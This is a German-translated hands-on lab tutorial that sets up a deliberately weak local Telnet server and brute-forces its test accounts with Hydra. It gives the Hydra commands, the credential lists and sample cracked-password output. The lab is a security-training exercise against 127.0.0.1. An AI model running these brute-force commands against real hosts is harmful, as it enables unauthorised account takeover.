Telnet-Dienste mit Hydra angreifen

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie Brute-Force-Angriffe gegen Telnet-Dienste mit Hydra durchführen, einem vielseitigen Tool zum Knacken von Passwörtern. Sie richten eine anfällige Telnet-Umgebung ein und verwenden Hydra, um zu demonstrieren, wie schwache Anmeldedaten ausgenutzt werden können.

Das Lab behandelt die Telnet-Serverkonfiguration, die Erstellung von Test-Anmeldedaten und die Ausführung von Hydra-Angriffen, um Sicherheitsrisiken hervorzuheben. Durch praktische Übungen werden Sie verstehen, warum Telnet unsicher ist, und die Bedeutung der Verwendung verschlüsselter Alternativen (encrypted alternatives) kennenlernen.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/installation("Installation and Setup") hydra/HydraGroup -.-> hydra/password_creation("Password List Creation") hydra/HydraGroup -.-> hydra/username_creation("Username List Creation") hydra/HydraGroup -.-> hydra/output_saving("Output File Saving") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/multiple_targets("Multiple Targets Attack") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/troubleshooting("Basic Troubleshooting") subgraph Lab Skills hydra/installation -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/password_creation -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/username_creation -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/output_saving -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/verbose_mode -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/multiple_targets -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/success_detection -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} hydra/troubleshooting -.-> lab-549916{{"Telnet-Dienste mit Hydra angreifen"}} end

Installieren eines lokalen Telnet-Servers

In diesem Schritt installieren Sie einen Telnet-Server auf Ihrer LabEx VM, um eine lokale Testumgebung zu erstellen. Telnet ist eines der ältesten Netzwerkprotokolle, das den Fernzugriff auf Systeme ermöglicht. Es überträgt jedoch alle Daten (einschließlich Passwörter) im Klartext ohne Verschlüsselung, was es für den realen Einsatz äußerst unsicher macht, aber perfekt ist, um Konzepte der Sicherheitstests zu erlernen.

  1. Aktualisieren Sie zunächst Ihre Paketliste, um sicherzustellen, dass Sie die neuesten Versionen erhalten. Dies ist eine gute Vorgehensweise, bevor Sie neue Software installieren:
sudo apt update
  1. Installieren Sie das Telnet-Serverpaket (xinetd). Xinetd ist ein Super-Server, der Telnet-Verbindungen verwaltet. Das Flag -y bestätigt automatisch alle Eingabeaufforderungen während der Installation:
sudo apt install -y xinetd telnetd
  1. Erstellen Sie die Telnet-Konfigurationsdatei unter /etc/xinetd.d/telnet. Wir verwenden nano, einen einfachen Texteditor, der in den meisten Linux-Systemen enthalten ist:
sudo nano /etc/xinetd.d/telnet
  1. Fügen Sie die folgende Konfiguration hinzu (drücken Sie Strg+O zum Speichern und dann Strg+X zum Beenden). Diese Konfiguration aktiviert den Telnet-Dienst und legt grundlegende Parameter fest. Die Zeile disable = no ist besonders wichtig, da sie den Dienst aktiviert:
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. Starten Sie den xinetd-Dienst neu, um die Änderungen zu übernehmen. Dienste müssen oft nach Konfigurationsänderungen neu gestartet werden:
sudo service xinetd restart
  1. Überprüfen Sie, ob der Telnet-Dienst ausgeführt wird. Port 23 ist der Standardport für Telnet. Der Befehl netstat zeigt aktive Netzwerkverbindungen und Listening Ports (lauschende Ports):
sudo netstat -tulnp
setup telnet server

Sie sollten eine ähnliche Ausgabe wie diese sehen, die anzeigt, dass der Telnet-Dienst auf Port 23 lauscht:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

Konfigurieren von Telnet mit Testkonten

In diesem Schritt erstellen Sie Testkonten, die für die Hydra Brute-Force-Angriffsdemonstration verwendet werden. Diese Konten repräsentieren gängige schwache Anmeldedaten, die in realen Systemen gefunden werden, sodass wir sicher demonstrieren können, wie Angreifer schlechte Passwortpraktiken ausnutzen.

  1. Erstellen Sie zunächst drei Testbenutzerkonten mit dem Befehl useradd. Das Flag -m stellt sicher, dass für jeden Benutzer Home-Verzeichnisse erstellt werden:
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. Setzen Sie nun einfache Passwörter für diese Konten. Wir verwenden gängige schwache Passwörter ('password', '123456', 'qwerty'), um reale Schwachstellen zu simulieren. Der Befehl chpasswd ändert Passwörter sicher ohne interaktive Eingabeaufforderungen:
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. Überprüfen Sie, ob die Konten erfolgreich erstellt wurden, indem Sie die Passwortdatei des Systems überprüfen. Der Befehl grep filtert nach unseren Testbenutzern in /etc/passwd, die alle Benutzerkontoinformationen speichert:
grep -E 'user1|user2|user3' /etc/passwd

Sie sollten eine ähnliche Ausgabe wie diese sehen:

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh
  1. Erstellen Sie Anmeldedatendateien (credential files) für den Hydra-Angriff in Ihrem Projektverzeichnis. Diese Textdateien dienen als Hydras Eingabe für Benutzernamen- und Passwortkombinationen während des Brute-Force-Versuchs:
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. Überprüfen Sie, ob die Anmeldedatendateien die richtigen Informationen enthalten. Der Befehl cat zeigt den Dateiinhalt an - wir überprüfen beide Dateien, um die korrekte Formatierung für Hydras Anforderungen sicherzustellen:
cat usernames.txt && cat passwords.txt

Sie sollten Folgendes sehen:

user1
user2
user3
password
123456
qwerty

Laden von Benutzernamen- und Passwortdateien

In diesem Schritt bereiten Sie die Anmeldedatendateien (credential files) vor, die Hydra für den Brute-Force-Angriff verwenden wird. Diese Dateien enthalten die Benutzernamen und Passwörter, die wir im vorherigen Schritt erstellt haben. Brute-Force-Angriffe funktionieren, indem sie systematisch alle möglichen Kombinationen von Anmeldedaten ausprobieren, bis die richtige gefunden wird. Gut organisierte Anmeldedatendateien machen diesen Prozess effizienter.

  1. Überprüfen Sie zunächst, ob die Anmeldedatendateien in Ihrem Projektverzeichnis vorhanden sind. Dies ist wichtig, da Hydra diese Dateien benötigt, um den Angriff durchzuführen:
cd ~/project
ls -l usernames.txt passwords.txt

Sie sollten eine ähnliche Ausgabe wie diese sehen:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. Zeigen Sie den Inhalt beider Dateien an, um zu bestätigen, dass sie korrekt formatiert sind. Jeder Benutzername und jedes Passwort sollte sich in einer separaten Zeile befinden, da Hydra sie Zeile für Zeile liest:
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

Erwartete Ausgabe:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. Erstellen Sie eine kombinierte Anmeldedatendatei für Testzwecke. Diese kombinierte Datei zeigt Benutzername-Passwort-Paare nebeneinander, was hilft zu überprüfen, ob sie korrekt zugeordnet sind:
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

Dies wird Folgendes anzeigen:

user1   password
user2   123456
user3   qwerty
  1. Installieren Sie Hydra, falls es noch nicht vorhanden ist (es sollte jedoch in der LabEx VM vorinstalliert sein). Hydra ist das Tool, mit dem wir den Brute-Force-Angriff gegen den Telnet-Dienst durchführen werden:
sudo apt install -y hydra hydra-gtk
  1. Überprüfen Sie, ob Hydra installiert ist, und überprüfen Sie seine Version. Das Verständnis der Version hilft bei der Fehlerbehebung oder beim Nachschlagen bestimmter Funktionen:
hydra -h | head -n 5

Sie sollten Hydras Hilfeausgabe sehen, die mit Folgendem beginnt:

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Ausführen eines Hydra-Angriffs auf den Telnet-Dienst

In diesem Schritt verwenden Sie Hydra, um einen Brute-Force-Angriff auf Ihren lokalen Telnet-Server mit den zuvor vorbereiteten Anmeldedatendateien (credential files) durchzuführen. Hydra ist ein beliebtes Tool zum Knacken von Passwörtern, das mehrere Protokolle unterstützt, darunter Telnet. Der Angriff versucht systematisch alle Benutzername/Passwort-Kombinationen aus Ihren Dateien.

  1. Stellen Sie zunächst sicher, dass Sie sich im Projektverzeichnis befinden, in dem Ihre Anmeldedatendateien gespeichert sind. Dies ist wichtig, da Hydra auf diese Dateien zugreifen muss:
cd ~/project
  1. Führen Sie nun Hydra gegen den lokalen Telnet-Dienst aus (127.0.0.1 ist die Loopback-Adresse, die auf Ihren eigenen Rechner verweist). Das Flag -L gibt die Benutzernamenliste an und -P gibt die Passwortliste an:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. Während Hydra ausgeführt wird, zeigt es den Fortschritt in Echtzeit an. Jede Zeile zeigt eine versuchte Kombination. Im Erfolgsfall werden die gültigen Anmeldedaten wie folgt angezeigt:
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found
run hydra attack
  1. Um Ihre Ergebnisse zur Dokumentation oder weiteren Analyse zu speichern, verwenden Sie das Flag -o gefolgt von einem Ausgabedateinamen:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. Nachdem der Angriff abgeschlossen ist, können Sie die Ergebnisdatei anzeigen, um zu sehen, welche Anmeldedaten funktioniert haben:
cat hydra_results.txt

Beispielausgabe, die einen erfolgreichen Anmeldeversuch zeigt:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. Für Schulungszwecke möchten Sie möglicherweise jeden Versuch im Detail sehen. Die Flags -vV aktivieren den ausführlichen Modus (verbose mode) und zeigen jede Kombination an, die Hydra ausprobiert:
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

Die ausführliche Ausgabe (verbose output) sieht wie folgt aus und zeigt sowohl fehlgeschlagene als auch erfolgreiche Versuche:

[VERBOSE] Attempting user1:password... [SUCCESS]

Überprüfen der Telnet-Angriffsausgabe

In diesem Schritt analysieren Sie die Ergebnisse Ihres Hydra-Brute-Force-Angriffs auf den Telnet-Dienst, um zu verstehen, welche Anmeldedaten (credentials) kompromittiert wurden. Hydra testet mehrere Benutzername/Passwort-Kombinationen gegen den Dienst, und die Ausgabedatei enthält alle erfolgreichen Anmeldungen zusammen mit fehlgeschlagenen Versuchen.

  1. Navigieren Sie zunächst zu Ihrem Projektverzeichnis, in dem Hydra seine Ergebnisse gespeichert hat, und zeigen Sie die vollständige Ausgabedatei an:
cd ~/project
cat hydra_results.txt

Die Beispielausgabe zeigt das Format erfolgreicher Anmeldungen. Jede Zeile enthält das Protokoll (telnet), die Ziel-IP-Adresse und die geknackten Anmeldedaten:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. Um nur die erfolgreichen Anmeldeversuche aus potenziell großen Ausgabedateien zu filtern, verwenden Sie grep, um Zeilen zu finden, die "login:" enthalten:
grep "login:" hydra_results.txt
  1. Überprüfen Sie die kompromittierten Konten, indem Sie eine manuelle Telnet-Anmeldung mit den entdeckten Anmeldedaten versuchen. Dies bestätigt die Ergebnisse von Hydra und demonstriert, wie ein Angreifer gestohlene Anmeldedaten verwenden würde:
telnet 127.0.0.1

Geben Sie an der Anmeldungsaufforderung Folgendes ein:

user1
password

Eine erfolgreiche Anmeldung zeigt die Willkommensnachricht des Servers und die Eingabeaufforderung:

Welcome to LabEx Telnet Server
user1@localhost:~$

Geben Sie exit ein, um die Telnet-Sitzung nach dem Testen zu beenden.

  1. Erstellen Sie einen professionellen zusammenfassenden Bericht (summary report) über kompromittierte Konten zur Dokumentation. Dies erstellt eine neue Datei mit formatierten Ergebnissen und Zählungen:
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie eine anfällige Telnet-Serverumgebung mit xinetd und schwachen Anmeldedaten (credentials) für Sicherheitszwecke einrichten. Der Prozess umfasste die Konfiguration des Telnet-Dienstes auf Port 23 und die Erstellung von Testkonten mit absichtlich schwachen Passwörtern, um Authentifizierungsschwachstellen zu demonstrieren.

Die Übung hat die Sicherheitsrisiken der Verwendung unverschlüsselter Protokolle wie Telnet und die entscheidende Bedeutung der Implementierung starker Passwortrichtlinien hervorgehoben. Durch die praktische Demonstration mit Hydra haben Sie beobachtet, wie einfach Brute-Force-Angriffe Systeme mit schwachen Authentifizierungsmechanismen kompromittieren können.